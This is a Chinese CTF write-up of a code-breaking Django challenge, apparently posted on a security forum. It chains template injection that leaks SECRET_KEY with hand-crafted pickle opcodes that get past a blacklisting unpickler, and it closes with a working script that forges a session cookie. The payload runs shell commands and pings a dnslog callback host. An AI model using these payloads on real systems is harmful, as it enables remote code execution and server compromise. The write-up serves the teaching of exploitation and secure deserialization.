用户
搜索
  • TA的每日心情
    开心
    昨天 11:01
  • 签到天数: 85 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    5

    主题

    27

    帖子

    1246

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-8-20

    i春秋签约作者春秋文阁

    发表于 2021-4-14 14:10:11 016252

    Django模板注入和pickle反序列化沙箱bypass

    本文续接code-breaking(二),为code-breaking(三),code-breaking系列的题目实际上都是代码审计题目,而前文是关于php的审计,本文带来code-breaking中的一道python代码审计题目。

    代码初审

    拿到源码后首先根据其内代码片段很容易判断出这是一个django项目,首先看到settings中的内容:

    这一处session的内容我以前开发django时接触过,例如我项目中使用的是:

    SESSION_ENGINE = 'django.contrib.sessions.backends.file'
    SESSION_FILE_PATH = os.path.join(BASE_DIR, 'temp')

    这里指定了session是采用file类型的引擎,并且我用了path来指定存储的位置,那么我是能够在temp目录下查看到我的session文件的,如下图:

    可以看到文档中默认的engine为:

    默认是存储在数据库中而这里是选择存储在cookie中,再来看到SESSION_SERIALIZER

    这个配置指定的就是序列化类采用的序列化方式,默认是json格式,而pickle形式的话我们都知道pickle反序列化是可以执行任意命令的,他这里采用的是core目录下的PickleSerializer类去进行序列化\反序列化操作。

    总结一下就是该站点采用自定义的pickle类,以序列化的形式将session存储在cookie中,只要我们将构造的cookie替换掉当前cookie即可达成pickle反序列化执行任意命令;但首先需要解决的问题是这个cookie是signed_cookies,也就是说需要解决签名的问题。

    django模板注入

    找到settings中的签名是从环境中获取而非硬编码在程序中,那么回看到views代码中:

    @login_required
    def index(request):
        django_engine = engines['django']
        template = django_engine.from_string('My name is ' + request.user.username)
        return HttpResponse(template.render(None, request))

    这么个东西,可以发现就是我们输入的username是先拼接到字符串中然后再调用django模板引擎进行渲染,因此存在模板注入的可能,因此思路转换为采用ssti注入执行任意命令。

    然而会发现django引擎十分安全,虽然我们可以注入{{7}},但要更进一步时会发现我们即使连最简单的{{7*7}}也会引起服务器的500错误,这十分令人头疼:

    执行命令是比较难了,但仍然可以从request对象中获取到配置信息从而得到key。

    在项目的模板中的模板标签处下一个断点,可以看到会有大量的上下文变量,可以看到是有如下对象:

    可以看到user对象会去取到他的key:

    但如果我们拿着这个值去打的话会发现没有回显:

    {{user.user_permissions.model.user_set.field.opts.app_config.module.admin.settings.SECRET_KEY}}

    开启debug会发现:

    关联对象不存在,并且因为django模板不允许加载下划线开头的属性(私有属性)的原因,部分链也无法使用,但还是可以从中找到可以使用的链,如:

    {{request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY}}

    因此我们顺利的取到了密钥:

    pickle反序列化

    拿到密钥后就能够伪造cookie了,那么接下来看一下pickle序列化处的代码:

    import pickle
    import io
    import builtins
    
    __all__ = ('PickleSerializer', )
    
    class RestrictedUnpickler(pickle.Unpickler):
        blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
    
        def find_class(self, module, name):
            # Only allow safe classes from builtins.
            if module == "builtins" and name not in self.blacklist:
                return getattr(builtins, name)
            # Forbid everything else.
            raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                         (module, name))
    
    class PickleSerializer():
        def dumps(self, obj):
            return pickle.dumps(obj)
    
        def loads(self, data):
            try:
                if isinstance(data, str):
                    raise TypeError("Can't load pickle from unicode string")
                file = io.BytesIO(data)
                return RestrictedUnpickler(file,
                                  encoding='ASCII', errors='strict').load()
            except Exception as e:
                return {}

    首先引入眼帘的自然是这个黑名单,在此之前需要先了解一下pickle序列化、反序列化的过程:

    import pickle
    class Foo:
        attr = 'A class attribute'
    
    # 序列化
    picklestring = pickle.dumps(Foo())
    print(picklestring)
    # 反序列化
    a = pickle.loads(picklestring)
    print(a.attr)
    """
    b'\x80\x04\x95\x17\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03Foo\x94\x93\x94)\x81\x94.'
    A class attribute
    """

    很容易能够看出,pickle的序列化是通过dump(s)进行的,而反序列化则是通过load(s),而本题中的写法实际上是在官方文档中给出的一种严格反序列化的写法,通过给反序列化过程设置黑名单从而避免反序列化后任意代码的执行。

    如上述代码为白名单机制的写法,尝试反序列化结果如下:

    >>> restricted_loads(pickle.dumps([1, 2, range(15)]))
    [1, 2, range(0, 15)]
    >>> restricted_loads(b"cos\nsystem\n(S'echo hello world'\ntR.")
    Traceback (most recent call last):
      ...
    pickle.UnpicklingError: global 'os.system' is forbidden
    >>> restricted_loads(b'cbuiltins\neval\n'
    ...                  b'(S\'getattr(__import__("os"), "system")'
    ...                  b'("echo hello world")\'\ntR.')
    Traceback (most recent call last):
      ...
    pickle.UnpicklingError: global 'builtins.eval' is forbidden

    那么其findclass方法限制了反序列化的对象必须是builtins模块且必须在白名单内,所以一旦使用os.system就会被捕捉到;众所周知白名单机制是比较安全的,然而本题的代码中采用的是黑名单机制,这给我们的绕过提供了基础。

    pickle反序列化的入口点在于reduce方法,python允许自定义一个类的reduce方法:

    当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 reduce 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选)

    形如:

    def __reduce__(self):
     return (os.system, ("ls",))

    而我们在使用如下序列化出一段pickle串(此处指定protocol=0是以人类可读的形式进行序列化):

    # -*- coding:UTF-8 -*-
    import pickle
    import pickletools
    import os
    class Foo():
        def __reduce__(self):
            s = "open -a Calculator"
            return (os.system, (s,))
    
    # # 序列化
    foo = Foo()
    picklestring = pickle.dumps(foo,protocol=0)
    """
    b'cposix\nsystem\np0\n(Vopen -a Calculator\np1\ntp2\nRp3\n.'
    """

    然后再进行反序列化:

    import pickle
    
    a = pickle.loads(b'cposix\nsystem\np0\n(Vopen -a Calculator\np1\ntp2\nRp3\n.')

    好了,上面的黑名单中限制了module必须是builtins,能看出来os.system在这里调用的是posix.system(实际上在*nix系统下os就是posix),因此是无法经过这个黑名单。

    builtins模块实际上是不需要import的,如常见的input、eval、open等都在该模块中,但很显然它们都在黑名单里面,可以通过dir来寻找可用的方法:

    import builtins
    print(dir(builtins))
    """
    [...,'__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'execfile', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'runfile', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
    """

    可以发现有一个getattr方法很有用,他可以从一个对象中取出其属性or方法,以此我们可以达成类似动态执行的效果,如:

    class Foo():
        def funC():
            print("just test")
    b = getattr(Foo,"funC")
    b()
    # just test

    因此我们可以构造如builtins.getattr(builtins,'eval')来执行代码,此时调用到的module为builtins,方法为getattr,自然而然地就能够绕过这个反序列化过滤,然鹅如果我们想要尝试类似的方式来调用:

    # -*- coding:UTF-8 -*-
    import pickle
    import pickletools
    import os
    import builtins
    
    class Foo():
        def __reduce__(self):
            s = '__import__("os").system("id")'
            return (builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),"builtins"),"eval"), (s,))
    
    # # 序列化
    foo = Foo()
    picklestring = pickle.dumps(foo,protocol=0)
    print(picklestring)
    pickle.loads(picklestring)
    """
    b'c__builtin__\neval\np0\n(V__import__("os").system("id")\np1\ntp2\nRp3\n.'
    """

    会发现他并不会如我们所愿地从builtins模块一步一步调用出我们的eval,而是直接从__builtin__模块中调出eval,这不符合我们的预期,那么现在的问题是如果是使用reduce方法配合getattr是无法直接去执行代码。

    熟悉php反序列化的读者会知道诸如一些wakeup绕过,反序列化逃逸等的操作都是通过手动构造改写序列化串去达成的;同样的,pickle序列化串也是可以手动构造出来。

    解析pickle code

    pickle是一门栈语言,因此其内容通常存储在栈中,当然了也存储在memo中,我们可以使用pickletools来对其进行分析:

    pickletools.dis(b'cposix\nsystem\np0\n(Vopen -a Calculator\np1\ntp2\nRp3\n.')

    输出:

        0: c    GLOBAL     'posix system'
       14: p    PUT        0
       17: (    MARK
       18: V        UNICODE    'open -a Calculator'
       38: p        PUT        1
       41: t        TUPLE      (MARK at 17)
       42: p    PUT        2
       45: R    REDUCE
       46: p    PUT        3
       49: .    STOP
    highest protocol among opcodes = 0

    可以看到一个code对应的一个语句,在源码中能够看到这些code及其解释:

    简单解读一下上面的opcode:

        0: c    GLOBAL     'posix system'
        // push self.find_class(modname, name); 2 string args
        // 将self.find_class(modname, name)压入栈中,我们需要绕过的正是这一步
       14: p    PUT        0
        // store stack top in memo; index is string arg
        // 将栈顶的元素存入memo数组的第0位中
       17: (    MARK
        // push special markobject on stack
        // 将特殊的mark对象压入栈,可以理解为元组的开始
       18: V        UNICODE    'open -a Calculator'
        // push Unicode string; raw-unicode-escaped'd argument
        // 将字符串'open -a Calculator'压入栈中
       38: p        PUT        1
        // store stack top in memo; index is string arg
        // 因为前面压入了字符串,所以栈顶是字符串,这里则是将字符串同样是栈顶存入memo数组的第1位中
       41: t        TUPLE      (MARK at 17)
        // build tuple from topmost stack items
        // 将栈顶至最近的一个(弹出,并组成一个元组('open -a Calculator'),压入栈中
       42: p    PUT        2
        // store stack top in memo; index is string arg
        // 将刚刚的元组存入memo数组的第2位
       45: R    REDUCE
        // apply callable to argtuple, both on stack
        // 从栈中将可调用对象和元组弹出,元组作为对象的参数,其返回值压入栈中             
       46: p    PUT        3
        // store stack top in memo; index is string arg
        // 将栈顶也就是刚刚的返回值存入memo数组的第3位    
       49: .    STOP
        // every pickle ends with STOP
        // pickle序列化结束            
    highest protocol among opcodes = 0

    而事实上将栈顶放入memo数组这一过程是可以被省略的,因此opcode可以省略为:

    cposix\nsystem\n(Vopen -a Calculator\ntR.
    """
    cposix
    system
    (Vopen -a Calculator
    tR.
    """

    运行:

    pickle.loads(b'cposix\nsystem\n(Vopen -a Calculator\ntR.')

    会发现同样弹出计算器,因此证明前面的思路没错,p这一操作码可以被省略。

    接下来就是手搓可用于本题的opcode。

    手搓opcode

    以下面代码来构造:

    (builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),"builtins"),"eval"), (s,))

    首先是这一部分:

    builtins.getattr(builtins.dict,'get')(builtins.globals(),"builtins")

    第一步是从builtins模块中获取getattr方法,与system.os相似,即:

    cbuiltins
    getattr

    接下来是参数元组,我们用getattr来从dict中取到get方法:

    cbuiltins
    getattr
    (cbuiltins
    dict
    S'get'
    tR

    get方法有两个参数,一个是键一个是指,键的话就是globals,他是无参的,那么只需要给他一个元组符号然后直接tR即可:

    cbuiltins
    globals
    (tR

    那么取builtins则为:

    cbuiltins
    getattr
    (cbuiltins
    dict
    S'get'
    tR(cbuiltins
    globals
    (tRS'builtins'
    tR

    对该opcode反序列化会发现成功取到了:<module 'builtins' (built-in)>

    那么接下来就是用getattr从builtins对象中取出eval即可,只需要在外层再套上一层builtins.getattr,然后指定第二个参数为eval,再次调用eval,其内放置所需执行的代码即可:

    cbuiltins
    getattr
    (cbuiltins
    getattr
    (cbuiltins
    dict
    S'get'
    tR(cbuiltins
    globals
    (tRS'builtins'
    tRS'eval'
    tR.

    此时已经顺利取到了eval对象:

    接下来只需要简单的执行eval即可,因此最终的opcode:

    cbuiltins
    getattr
    (cbuiltins
    getattr
    (cbuiltins
    dict
    S'get'
    tR(cbuiltins
    globals
    (tRS'builtins'
    tRS'eval'
    tR(S'__import__("os").system("ls")'
    tR.

    放到题目中去执行同样成功:

    优雅的p、g操作

    好了,opcode写好了,但貌似不太优雅,虽然成功构造出一个对象但若想要多次使用的话opcode会显得很冗长,下面稍微提一下稍优雅些的操作(其实就是p师傅wp中使用的操作)

    前面提到了p操作会把栈顶放入memo指定的位置,如p0则放入memo[0],既然有放入自然存在着取出的操作码:

    PUT            = b'p'   # store stack top in memo; index is string arg
    GET            = b'g'   # push item from memo on stack; index is string arg

    这俩是一对的,因此我们可以将构造好的对象通过p命令放入memo数组,然后使用时用g命令来取出,因此opcode也可以修改为:

    cbuiltins
    getattr
    (cbuiltins
    dict
    S'get'
    tR(cbuiltins
    globals
    (tRS'builtins'
    tRp1
    cbuiltins
    getattr
    (g1
    S'eval'
    tR(S'__import__("os").system("ls>")'
    tR.

    尽管长度稍稍增长,但在需要构造更长的opcode时就会显示其优势。

    最终利用

    毕竟是一道ctf题,有始有终,稍稍放一下生成session的脚本:

    from django.core import signing
    import pickle
    import os
    import builtins,io
    import base64
    import datetime
    import json
    import re
    import time
    import zlib
    
    os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
    data = b'''cbuiltins
    getattr
    (cbuiltins
    dict
    S'get'
    tR(cbuiltins
    globals
    (tRS'builtins'
    tRp1
    cbuiltins
    getattr
    (g1
    S'eval'
    tR(S'__import__("os").system("ping jv9rtd.dnslog.cn")'
    tR
    .'''
    
    def b64_encode(s):
        return base64.urlsafe_b64encode(s).strip(b'=')
    
    def pickle_exp(SECRET_KEY):
        global data
        is_compressed = False
        compress = False
        if compress:
            # Avoid zlib dependency unless compress is being used
            compressed = zlib.compress(data)
            if len(compressed) < (len(data) - 1):
                data = compressed
                is_compressed = True
        base64d = b64_encode(data).decode()
        if is_compressed:
            base64d = '.' + base64d
        SECRET_KEY = SECRET_KEY
        # 根据SECRET_KEY进行Cookie的制造
        session = signing.TimestampSigner(key = SECRET_KEY,salt='django.contrib.sessions.backends.signed_cookies').sign(base64d)
        print(session)
    
    if __name__ == '__main__':
        SECRET_KEY = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm'
        pickle_exp(SECRET_KEY)

    替换掉登陆时产生的sessionid即可。

    参考

    本文行文思路多参考p师傅的wp:https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册